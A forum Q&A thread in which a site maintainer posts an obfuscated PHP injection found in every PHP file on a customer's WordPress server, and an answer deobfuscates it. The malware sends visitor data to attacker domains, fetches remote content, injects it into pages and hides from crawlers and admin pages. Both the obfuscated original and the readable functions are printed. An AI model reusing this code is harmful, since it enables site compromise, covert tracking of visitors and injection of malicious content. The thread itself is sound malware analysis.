Is this a backdoor?

Question

I found the code below on my customers site. It looks like a typical backdoor hidden with hexadecimal, but I'm not 100% sure.

<?php if (!isset($GLOBALS["\x61\156\x75\156\x61"]))
{
    $ua = strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]);
    if ((!strstr($ua, "\x6d\163\x69\145")) and (!strstr($ua, "\x72\166\x3a\61\x31"))) $GLOBALS["\x61\156\x75\156\x61"] = 1;
} ?><?php $zdsnpbzghe = 'x5c%x7825)m%x5c%x7825=*h%x5c%x7825)m%x5c%x7825):fmji%x5c%x7878:<##:>5c%x7860QUUI&e_SEEB%x5-%x5c%x7824gps)%x5c%x7825j>1<%x5c%x7825j=tj{fpg)%x5c%xX;%x5c%x7860msvd}R;*msv%x5c%x7825:osvufs:~928>>%x5c%x7822:ftmbg39*56A:>:8:|:7#6#)tutC%x5c%x7827&6<*rfs%x5c%x78257-K)fujs%x5c%x7878X6<#o]o]Y%x5c%x7825of.)fepdof.%x5c%x782f#@#%x5c%x782fqp%x5c%x7825>5h%x55c%x7825tww**WYsboepn)%x5c%x78258:}334}472%x5c%x7824<!%x5c%x7825mm!>!#]y81]273]y76]258]y6g]273]y76]2715hIr%x5c%x785c1^-%x5c%x7825r%x5c%x785c2^-%x5c%x786]267]y74]275]y7:]268]y7f#<!%x5c%x7825tww!>!)323ldfidk!~!<**qp%x5c%x7825!-uyfu%x5c%x7825)3of)fepdof%x5464]284]364]6]234]342]58]24]31#-%x5782f#o]#%x5c%x782f*)323zbe!-#jt0*?]+^?]_%x5c%x785c}X%fmy%x5c%x7825)utjm!|!*5!%x5c%x7827!hmg%x5c#)fepmqyf%x5c%x7827*&7-n%x5c%x7860hfsq)!sp!*#ojneb#-278]225]241]334]368]322]3]364]6]2{**u%x5c%x7825-#jt0}Z;0]=]0#)2q%x5c%x7825l}S;2-u%x5c%x7825!-#2#%x5c%160%x28%42%x66%152%x66%147%x67%42%x2c%163%y35]256]y76]72]y3d]51]y35]274]y4:]82ovg+)!gj+{e%x5c%x7825!osvufs!*!+A!>!{e%x5c%x7825)!>>%x5c%x7c%x7825iN}#-!tussfw)%x!isset($GLOBALS["%x61%156%x75%156%x61"])))) %x7825cIjQeTQcOc%x5c%x782f#00#W~!Ydrr)%x5c%x7825r%x5c%x7878Bsfuvsox7825)Rd%x5c%x7825)Rb%x5c%x7825))!gj!<*#cd2bge56+99386c!<2p%x5c%x7825%x5c%x787f!~!<##!>!2p%%x7825)!gj!|!*1?hmg%x5c%x7825)!gj!<**2-4-bub6<.3%x5c%x7860hA%x5c%x7827pd%x5c%x78256%x7825:|:*r%x5c%x7825:-t%x5c%x782%x782f#%x5c%x7825#%x5c%xx7827;!>>>!}_;gvc%x5c%x7825}&;ftmbg}%x5c%x787f;7824-%x5c%x7824]y8%x5cx7825r%x5c%x7878<~!!%x5c%x7825s:N}#-%x5c%x7825o:W%jyf%x5c%x7860439275ttfsqnpdov{h19275j{hnpd19275fubmgoj{h1:|:OBSUOSVUFS,6<*msv%x5c%x78257-MSV,6<*)ujojRx5c%x7824-%x5c%x7824b!>!%x5c%x7825yy)#}#-#%x5c%x7824-%x5c%x7824-tus85csboe))1%x5c%x782f3g%x5c%x7825)!gj!~<ofmyx5c%x7827pd%x5c%x78256|6.7eu{66~67<&w6<*&7-#o]s]o]s]c%x786057ftbc%x5c%x787f!|!*uyfu%x5c%x7827k:!ftmf!}Z;^nbsbq%x5c%x7825%xx7825b:<!%x5c%x7825c:>%x5c%x7825s:%x5c%x785c%x5c%x7825j:^<!%x5c%787f_*#fubfsdXk5%x5c%x5c%x78e%x5c%x78b%x5c%x7825ggg!>!#]y81]273]y76]258x7825bG9}:}.}-}!#*<%x5c%x7825nfd>%x5c3:]68]y76#<%x5c%x78e%x5c%x78b,;uqpuft%x5c%x7860msvd}+;!>!}%x5c%%x5c%x7860TW~%x5c%x7824<%xx7878:-!%x5c%x7825tzw%x5c%x782f%x5c%x7317]445]212]445]43]321]87f<*X&Z&S{ftmfV%x5c%x78%x78604%x5c%x78223}!+!<+{e%x5c%x7825+*!*+fepdfe{h+{d%x5c%x7825)+opjudc%x7825:<**#57]38y]47]67y]37]88y]27]28yx7825w%x5c%x7860%x5c%x785c^>Ew:Qb:Qc:W~!%x59]274]y85]273]y6g]273]y76]%x5c%x7825)ftpmdR6<*id%x5c%x7825)dfyfR%x5c%x7827tfs%x5c%x78256<*!osvufs}w;*%x5c%x787f!>>%x5c%x7822!pd%x5x5c%x7825!<**3-j%x5c%x7825-bubE{h%x5c%x7825)sutcvt-#w#)ldbqov>*o%x5c%x7827id%x5c%x78256<%x5c%x787fw6*%x5c%x787f_*#uj4]275]D:M8]Df#<%x5c%x7825tdz>#L4]275L3]248L3P6L1M5]Dx7825zB%x5c%x7825z>!HB%x5c%x7860SFTV%x5c%x7860QUUIy76]61]y33]68]y34]68]ypd!opjudovg!|!**#j{hnpd#)tutjyf%x5c%x7860opjudovg%x5c%x7822)!gj}1~ebfsX%x5c%x7827u%x5c%x7825)7fmji%x5c%x78786<x7860opjudovg)!gj!|!*msv%x5c%x7825)}k~~~<ftmbg!osvufs17-SFEBFI,6<*127-UVPFNJU,6<*27-SFGT%x7825j,,*!|%x5c%x7824-%x5c%x7824gvodujpo!%x5c%x7824-%x5c%x7824y7gA%x5c%x7827doj%x5c%x78256<%xc%x782f#)rrd%x5c%x782f#00;quui#>.%x5c%x7825!<***fufs:~:<*9-1-r%x5c%x7825)s%x5c!>!#]y84]275]y83]273]y76]277fnbozcYufhA%x5c%x78272qj%x5c%x78256<^#zsfvr#%x5c%x785cq%x5fmjg}[;ldpt%x5c%x7825}K;%x5c%x7860ufldpt}c%x7825!<*#}_;#)323ldfid>}&;!osvufs}825!*3!%x5c%x7827!hmg%x5c%x7825!)!gj!<2,*j%xgj6<*doj%x5c%x78257-C)fepmqnjA%x5c%x7827&6<.fmjc%x7827rfs%x5c%x78256~6<%x5c%x787fw6<*K)ftpmdXA6|7**197-278256<.msv%x5c%x7860dz)%x5c%x7825bbT-%x5c%x7825bT-%x5c%x7825hW~%x5c%x7825fdy)c%x7825)!gj}Z;h!opjudovg}{;#)tutjyf%x5c%x7860{66~6<&w6<%x5c%x787fw6*CW&)7%x5c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z5297e:56-%x5c%x7878r.985:52985-t.98]K4]65]D8]86]y31]285]82]y76]62]y3:]84#-!OVMM*<%x22%51%x29%51%x29%73", NULL); };)gj}l;33bq}k;opjudovg}%xif((function_exists("%x6f%142%x5f%163%x74%141%x72%164") && (x74%162%x5f%163%x70%154%x69%164%50%x22%134%x78%62%x35%16x7827;mnui}&;zepc}A;~!}%x5c%x787f;!|!}{56<pd%x5c%x7825w6Z6<.4*f%x5c%x7825)sf%x5c%x7878pmpusut)tpqssutRe%x5c%25mm)%x5c%x7825%x5c%ubq#%x5c%x785cq%x5c%x7825%x5c%x7827jsv%x5c%x787f<*XAZASV<*w%x5c%x7825)ppde>u%x5c%x7825V<%x7824-%x5c%x7824]26%x5c%x5c%x7825Z<#opo#>b%x5c%x7825!*##>>X)!2272qj%x5c%x7825)7gj6<**2qj%x5c%x7825x5c%x7825Z<^2%x5c%x785c7%x65","%x65%166%x61%154%]#%x5c%x782fr%x5c%x7825%x5c%x7860{6:!}7;!}6;##}C;!>>!}W;utpi}Y;tuofuopd%x5c%x7860ufh%x5c%x786027,*b%x5c%x7827)fepd787f%x5c%x787f%x5c%x787f<u%x5c%x7825V%x5c%x7827{ftmfV%x5c%x7x7860%x5c%x7878%x5c%x7822l:!}V;3q%x5c%x7825}U;y]}R;2]},;osvufs}%x5c%x5c%x7825)utjm6<%x5c%x787fw6*CW&)7gj6<*K)ftpmdXA6~6<u%x5c%x78257>%x5c7825%x5c%x7824-%x5c%x7824*<!~!dsfbuf%x5cftsbqA7>q%x5c%x78256<%x5c%x787fw6*%x5c%x##-!#~<%x5c%x7825h00#*<%x5c%x7825nfd)##Qtpz)#]341]88M4P8]37]%x5c%x7825,3,j%x5c%x7825>j%x7824]25%x5c%x7824-%x5#65,47R25,d7R17,67R37,#%x5c%x782fq%x5c%x7825>U<#16,47R57,2824)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#-#K#-#L#-#M#-#[#-#Y#-#D#-#mhpph#)zbssb!-#}#)fepmqnj!%x5c%x782f!#0#)idubn%tussfw)%x5c%x7825zW%x5c%x7825h>EzH,2W%x5c%x7825{ $GLOBALS["%x61%156%x75%156%x61"]=1; function fjfgg($n){return chr(ox5c%x7825%x5c%x7824-%x5c%x7824y4%x5c%x:h%x5c%x7825:<#64y]5>}R;msv}.;%x5c%x782f#%x5c%x7W#-#C#-#O#-#N#*%x5c%x7824%x5c%x782f%x5c%x7825kj:-!OVMM*<(<%7!hmg%x5c%x7825)!gj!<2,*j%x5c%x7825-#1]#-bubE{h%x5c%x7825)t&b%x5c%x7825!|!*)323zbek!~!#>q%x5c%x7825V<*#fopoV;hojepdoF.uofuop%x7825>%x5c%x782fh%x581]K78:56985:6197g:74985-rr.93e:5597f-s.973:8297f:6f+9f5d816:+946:ce44#)zbssb!>!ssbnpe_GMFT%x5c%x7860QIQ&f_UTPI%xx28%151%x6d%160%x6c%157%x64%145%x28%141%x72%162%x61%171%x5f%155%x61]47y]252]18y]#>q%x5c%x7825<#762]67y]562]38y]572]48y]#>m%x5c#7e:55946-tr.984:75983:48984:71]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#<%x5c256<C>^#zsfvr#%x5c%x785cq%x5c%x78257**^#zsfvr#%x5c%x75c%x78e%x5c%x78b%x5c%x78!sboepn)%x5c%x7825epnbss-%x5c%x7825r%x5c%x7878W~!Ypp2)%x5c%7R66,#%x5c%x782fq%x5c%x7825>2q%x5c%x7825<#g6R85,67R37,18Rc%x7825!<*::::::-111112)eobs%x5c%x7860un%x7824-%x5c%x7824<%x5c78]y3f]51L3]84]y31M6]y3e]81#%x5c%x782f5]Ke]53Ld]53]Kc]55Ld]55#*<%x5c%6<%x5c%x787fw6*CWtfs%x5c%x7825)7gj6<*id%x7825ww2!>#p#%x5c%x782f#p#%x5c%x782f%x5c%x78255.)1%x5c%x782f14+9**-)1%x5c%x782f2986+7**^%x5c%x782f%x5c%#<%x5c%x7825t2w>#]y74]273]y76]252]y85]256]y6g]257]y8)hopm3qjA)qj3hopmA%x5c%x78273qj%x5c%x78256<*Y%x5c%x7825)%x5c%x7827,*e%x5c%x7827,*d%x5c%x7827,*c%x5c%x78c%x7860FUPNFS&d_SFSFGFS%x5c%x7860QUUI&c_UOFb:>%x5c%x7825s:%x5c%x785c%x5c%x7825j:.2^,%x5c%%x7860gvodujpo)##-!#~<#%x5c%x782f%x5c%x7825%x5c%x7824-%x5c%x7824!%x782f20QUUI7jsv%x5c%x78257UFH#%x5%x7825)gpf{jt)!gj!<*2bd%x5c%x7825-#1GO%x5c%x7822#)fepmqyfA>2b%x*mmvo:>:iuhofm%x5c%x7825:-5ppde:4:|:**#ppde#)tutjyf%x5c%x5c%x7825w:!>!%x5c%x78246767~6<Cw6<pd%x5c%x7825w6Z6<.5%x5c%x7860hAx5c%x7825c:>1<%x5c%x7825b:>1<!gps)%x5c%x7825j:>1<%x5c%x7825j:=trd($n)-1);} @error_reporting(0); preg_replace("%x2f%50%x2e%52%x29%585cq%x5c%x7825)ufttj%x5c%x7822)gj6<^#Y#%x5c%x785cq%x5c%x7825%x5c%x7827Y%x5c%x5]D6#<%x5c%x7825fdy>#]D4]273]D6P2L5P6]y6gP7L6M7]DwN;#-Ez-1H*WCw*[!%x5c%x7825rN}#QwTW%x5c%x782]y7d]252]y74]256#<!%x5c%x7825ff2!>!bssbz)%x5c%5c%x7878;0]=])0#)U!%x5c%x7827z<jg!)%x5c%x7825z>>2*!%x5c%x7825z>3<!fmtf!%x5c7;utpI#7>%x5c%x782f7rfs%x5c%x78256<#o]1%x5c]y6g]273]y76]271]y7d]252]y74]256#<!%x5c%x7825ggg)(0)%x5]y3:]62]y4c#<!%x5c%x7825t::!>!%x5c%x7824Ypp3)%x5c%x7825cB%x5D#)sfebfI{*w%x5c%x7825)kV%x5c%x7878{**#k#)tutjyf%x5c%%x7825tpz!>!#]D6M7]K3#<%x5c%x7825yy>#]D6]281L1#%x5c%x782f#M5]DgPdXA%x5c%x7827K6<%x5c%x787fw6*3qj%x5c%x78257>%x5c%x78c%x782f+*0f(-!#]y76]277]y72]265j^%x5c%x7824-%x5c%x7824tvctus)%x5c%x7825%825i%x5c%x785c2^<!Ce*[!%x5cpqsut>j%x5c%x7825!*9!%x5c%x7827!hmqj%x5c%x78257-K)udfoopdXA%x5c%x7822)7gj83]427]36]373P6]36]73]83]238M7]381]211M5]67]452]88]5]48]32M3]ojRk3%x5c%x7860{666~6<&w6<%x5c%x787fw5%x3a%146%x21%76%x21%50%x5c%x7825%x5c%x7878:!>#]y3g]61]y3f]63]y4]275]y83]248]y83]256]y81]265]y72]254]y76#<%x5c%x7825tmw5]y39]271]y83]256]y78]248]y83]256]y81]265]y72]254]822!ftmbg)!gj<*#k#)usbut%x5c%x7860cpV%x5c%x787f%x5c%xbss-%x5c%x7825r%x5c%x7878B%x5c%x7825h>#]y31]278]y3e]<pd%x5c%x7825w6Z6<.2%x5c%x7860hA%x5c%x7827pd%x5c%x78256<C%E{h%x5c%x7825)sutcvt)esp>hmg%x5c%x7825!<12>j%x5c%x7825!|!*#91y2P4]D6#<%x5c%x7825G]y6d]281Ld]245]K2]28c%x7825tdz*Wsfuvso!%x5c%x7825bss%x5c%x7>!fyqmpef)#%x5c%x7824*<!%x5c%x7825kj:!>!#]y3d]51]5c%x785cSFWSFT%x5c%x7860%x5c%x7825}X;!sp!*#opo#>]c9y]g2y]#>>*4-1-bubE{h%x5c%x7825)sutcvt)!gj!|!*bubE{h%x5c%x7825)j{hnx5c%x7825)}.;%x5c%x7860UQPMSVD!-id%x5c%x7825)uqpuft%x5c%x7860msvd}x5c%x7824<!%x5c%x7825tzw>!#]y76]277]y72]265]y35c%x7825!-#1]#-bubE{h%x5c%x7825)tpqsut>j%x5c%x7825!*72!%x5c%x782x5c%x7824-%x5c%x7824*!|!%x5c%x7824-%x5c%x7824%x5c%x785c%x5c%x7822b%x5c%x7825!>!2p%x5c%x7825!*3>?*2b%x5c5c%x7825c*W%x5c%x7825eN+#Qi%x5c%x785c1^W%x5c%x7825c!>!%x5c%x75c%x7825!<*qp%x5c%x7825-*.%x5c%x7825)euhA)3of>25)3of:opjudovg<~%x5c%x7824<!%x5c%x7825o:!>!%x5c%x78242178}527}85c%x7825!|!*!***b%x5c%x7825)sf%x5c%x7878pmpusut!-#j0#!%x5c%x7826<*QDU%x5c%x7860MPT7-NBFSUT%x5c%x7860LDPT7-UFOJ%x5c%x7860GB)fubfs2fh%x5c%x7825)n%x5c%x7825-#+I#)q%x5c%x7825:>:r%x5c%x7825:|:**t%>1*!%x5c%x7825b:>1<!fmtf!%x5c%x78255c%x787fw6*%x5c%x787f_*#fmjgk4%x5c%x7860{6~6<tfs%x5c%x7825wc%x7824-!%x5c%x7825%25hOh%x5c%x782f#00#W~!%x5c%x7825t2w)##Qtjw)#]82#-#!#-%x5c%x7825tmw)%xj{fpg)%x5c%x7825s:*<%x5c%x7825j:,,Bjg!)%x5c%x7825j:>%x782f7&6|7**111127-K)qpt)%x5c%x7825z-#:#*%x5c%x7824-%x5c%x7824!>!tus%x5c%x7860sfqmbdf)%%x5c%x7824-%x5c%x7824*<!%x5c%x7824c%x7825z!>2<!gps)%x5c%x7825j>1<%x5c%x7825j=6[%x5c%x5c%x782400~:<h%x5c%x7825_t%x5c%x7825:osv>qp%x5c%x7825!|Z~!<##!>!2p%x%x7825z>2<!%x5c%x7825ww2)%x5c%x7825wbd%x5c%x7825!<5h%x5c%x7825%x5c%x782f#0#%x5c%x782f*#npd%x56*CW&)7gj6<.[A%x5c%x7827&6<%x5c%x787fw6*%x5c%x787f_*#[k2%x5c%x7882f#%x5c%x782f},;#-#}+;%x5c%x7825-qp%x5c%x7825)54l}%x5c%x7827;%x5c%x78257%x5c%x782f7#@#7%x5c%x782f7^#i33]65]y31]53]y6d]281]y43]78]y33]65]y31]55]y271]y7d]252]y74]256]y39]252]y83]273]y72]282#<!%x5c%x7825tjw!>!#]y8%x7825fdy<Cb*[%x5c%x7825h!>!%x5c%x7825t%x5c%x7827pd%x5c%x782%x5c%x787f;!opjudovg}k~~9{d%-bubE{h%x5c%x7825)sutcvt)fubmgoj{hA!osvufs!~<3,j%x5c%x7825>j%x5c%x7gjZ<#opo#>b%x5c%x7825!**X)ufttj%x5c%x7822)gj!|!*nbsbq%x5c%x7825f!**#sfmcnbs+yfeobz+sfwjidsb%x5c%x7860bj+upcotn+qsvmt+f52]e7y]#>n%x5c%x7825<#372]58y]472]37y]672]48y]#>s%x5c%x7825<#462<b%x5c%x7825%x5c%x787f!<X>b!|ftmf!~<**9.-j%x5c%x7825/(.*)/epreg_replacepcxbdxfawf';
$ibnuwgraod = explode(chr((272 - 228)) , '3721,60,1040,44,4913,69,6639,67,4175,25,5385,67,880,43,3781,56,7594,63,2006,29,6509,67,9756,21,3876,22,3532,51,1285,39,7868,58,1712,52,728,25,4442,69,9108,22,2767,44,228,65,6997,43,6357,34,3325,57,7457,39,8745,65,7272,52,4115,37,6100,56,3099,58,9571,37,3965,46,5581,53,6706,36,6742,41,3382,20,4551,40,1898,21,3499,33,3278,47,2964,29,8908,59,5905,39,2357,64,2864,35,1560,42,2525,52,7557,37,9442,64,4231,63,3157,41,144,24,8232,66,2035,34,1381,47,2421,40,3459,40,2811,53,10081,25,9805,67,3234,44,8344,64,5127,59,7423,34,1690,22,4651,27,2461,64,686,42,1241,44,7926,62,8163,69,2701,66,1205,36,4152,23,8472,39,6391,63,8572,47,9385,57,2993,49,6156,47,4294,20,293,52,5774,40,9321,28,8682,63,9935,55,4819,47,753,27,3898,47,1150,55,5322,63,68,22,6203,43,2649,30,5186,27,10054,27,4077,38,9872,63,540,58,1764,70,8115,48,5040,28,9506,65,3198,36,9777,28,168,60,1500,60,6454,55,2180,69,959,59,7763,53,4314,60,2156,24,4011,42,4700,58,5717,57,5213,38,7155,53,4374,68,3837,39,3696,25,6922,29,813,67,1357,24,633,53,8298,46,2331,26,9651,66,7657,56,3071,28,6048,52,496,44,9279,42,3042,29,5251,21,2249,39,4200,31,8810,63,0,68,5020,20,9990,64,5452,59,1324,33,8619,63,377,70,6876,46,4678,22,8967,20,8408,64,7354,42,1602,67,9130,66,4982,38,1428,22,4053,24,5814,22,2899,65,9196,34,90,54,4511,40,6292,65,8066,49,923,36,7095,60,1018,22,8511,61,7396,27,1084,66,5658,59,2629,20,4866,47,6832,44,447,49,8987,69,345,32,7816,52,5272,50,3583,53,5836,38,5511,70,7208,64,6783,49,2577,52,7988,39,5874,31,1969,37,9717,39,3402,57,4591,60,780,33,7496,61,2133,23,598,35,8027,39,1669,21,5991,57,1450,50,6576,63,9056,52,8873,35,6246,46,1834,64,2288,43,9230,49,5944,47,6951,46,9349,36,2069,26,5634,24,3945,20,2095,38,4758,61,5068,59,1919,50,7040,55,7324,30,7713,50,2679,22,9608,43,3636,60');
$hlrywdpqbc = substr($zdsnpbzghe, (44960 - 34854) , (41 - 34));
if (!function_exists('kscpwxzuhr'))
{
    function kscpwxzuhr($xjucvuiret, $bsoixxpekh)
    {
        $uzadkdkdcj = NULL;
        for ($ylffdjxxwv = 0;$ylffdjxxwv < (sizeof($xjucvuiret) / 2);$ylffdjxxwv++)
        {
            $uzadkdkdcj .= substr($bsoixxpekh, $xjucvuiret[($ylffdjxxwv * 2) ], $xjucvuiret[($ylffdjxxwv * 2) + 1]);
        }
        return $uzadkdkdcj;
    };
}
$jztylhmlin = "\x20\57\x2a\40\x74\150\x6f\157\x63\172\x77\144\x78\152\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x32\60\x36\55\x31\66\x39\51\x29\54\x20\143\x68\162\x28\50\x32\71\x35\55\x32\60\x33\51\x29\54\x20\153\x73\143\x70\167\x78\172\x75\150\x72\50\x24\151\x62\156\x75\167\x67\162\x61\157\x64\54\x24\172\x64\163\x6e\160\x62\172\x67\150\x65\51\x29\51\x3b\40\x2f\52\x20\156\x6f\153\x7a\142\x6d\165\x76\165\x6e\40\x2a\57\x20";
$nbbppijzpp = substr($zdsnpbzghe, (68445 - 58332) , (68 - 56));
$nbbppijzpp($hlrywdpqbc, $jztylhmlin, NULL);
$nbbppijzpp = $jztylhmlin;
$nbbppijzpp = (752 - 631);
$zdsnpbzghe = $nbbppijzpp - 1; ?>

If it actually is a backdoor, I'm curious about what it does, if someone's got the patient to interpret it.

---

EDIT:

My customer isn't involved in web development, and when I asked him about this code he'd certainly not seen it before.

I noticed now that the code is placed in the top of almost every file in a WordPress installation, as it would have been placed there automatically.

---

EDIT 2:

The malicious code were in fact placed in every PHP file on the server, not only within WordPress.

Answer 1

No. The backdoor is not on this script. This piece of highly obfuscated code contains a program to allow the hacker to dynamically append any HTML or javascript by randomly calling a server located at 31.184.192.250 with one of the four hostnames "33db9538.com", "9507c4e8.com", "e5b57288.com", "54dfa1cb.com".

The deobfuscated code looks something like this:

// generate hostname
function random($arr, $qw) {
    $arr = array("33db9538", "9507c4e8", "e5b57288", "54dfa1cb");
    return $arr[rand(0, 1.125)].$qw;
}

// return hostname of malware-hosting server
function cqq($qw)
{
    return random($domarr, $qw);
}

// custom encoding
function en2($s, $q)
{
    $g = "";
    while (strlen($g) < strlen($s)) {
        $q = pack("H*", md5($g.$q."q1w2e3r4")); # convert to binary string
        $g.= substr($q, 0, 8);
    }
    return $s^$g; # XOR, bits set in either $s or $g but not both
}

// g_* functions are four different ways to retrieve content from remote URL
function g_1($url)
{
    if(function_exists("file_get_contents") === false) return false;
    $buf = @file_get_contents($url);
    if($buf == "") return false;
    return $buf;
}

function g_2($url)
{
    if(function_exists("curl_init") === false) return false;
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    $res = curl_exec($ch);
    curl_close($ch);
    if($res == "") return false;
    return $res;
}
....

// try progressively more complicated method if the previous one did not work
function gtd($url)
{
    $co = "";
    $co = @g_1($url);
    if($co !== false) return $co;
    $co = @g_2($url);
    if($co !== false) return $co;
    $co = @g_3($url);
    if($co !== false) return $co;
    $co = @g_4($url);
    if($co !== false) return $co;
    return "";
}

// encode server parameters
function k34($op, $text)
{
    return base64_encode(en2($text, $op));
}

// check if server parameters exist
function check212($param)
{
    if(!isset($_SERVER[$param])) $a = "non";
    else if($_SERVER[$param] == "") $a = "non";
    else $a = $_SERVER[$param];
    return $a;
}

// extract payload
function day212()
{
    $a = check212("HTTP_USER_AGENT");
    $b = check212("HTTP_REFERER");
    $c = check212("REMOTE_ADDR");
    $d = check212("HTTP_HOST");
    $e = check212("PHP_SELF");
    $domarr = array("33db9538", "9507c4e8", "e5b57288", "54dfa1cb");
    if(($a == "non") or ($c == "non") or ($d == "non") or strrpos(strtolower($e), "admin")
     or (preg_match("/google|slurp|msnbot|ia_archiver|yandex|rambler/i", strtolower($a))))
    {
        $o1 = "";
    }
    else {
        $op = mt_rand(100000, 999999);
        $g4 = $op."?".urlencode(urlencode(k34($op, $a).".".k34($op, $b).".".k34($op, $c)
         .".".k34($op, $d).".".k34($op, $e)));
        $url = "http://".cqq(".com")."/".$g4;
        $ca1 = en2(@gtd($url) , $op);
        $a1 = @explode("!NF0", $ca1);
        if(sizeof($a1) >= 2) $o1 = $a1[1];
        else $o1 = "";
    }
    return $o1;
}

// uncompress html to buffer
function dcoo($cz, $length = null)
{
    if(false !== ($dz = @gzinflate($cz))) return $dz;
    if(false !== ($dz = @comgzi($cz))) return $dz;
    if(false !== ($dz = @gzuncompress($cz))) return $dz;
    if(function_exists("gzdecode")) {
        $dz = @gzdecode($cz);
        if(false !== $dz) return $dz;
    }
    return $cz;
}

// callback function to accept buffer and append code at bottom of html
function pa22($v)
{
    Header("Content-Encoding: none");
    $t = dcoo($v);
    if(preg_match("/\<\/body/si", $t)) {
        return preg_replace("/(\<\/body[^\>]*\>)/si", day212()."\n$1", $t, 1);
    }
    else {
        if(preg_match("/\<\/html/si", $t)) {
            return preg_replace("/(\<\/html[^\>]*\>)/si", day212()."\n$1", $t, 1);
        }
        else {
            return $t;
        }
    }
}

// start processing
ob_start("pa22");

/**** original code starts here ****/
....

The code above is capable of evading detection by major search engines and site administrator as it returns a normal page when certain criteria are matched. I am not able to find out what code is being appended possibly because the malware-hosting server also does some check to see if the request is coming from an infected server.

It appears that a Wordpress vulnerability was introduced by an unpatched version of the MailPoet plugin. This allows a hacker to upload a malicious script with the credential of an administrator into a Wordpress theme and execute that file by navigating to the URL. You can find more information from this security blog.

The key takeaway from this incident is to backup your data frequently and update your software conscientiously.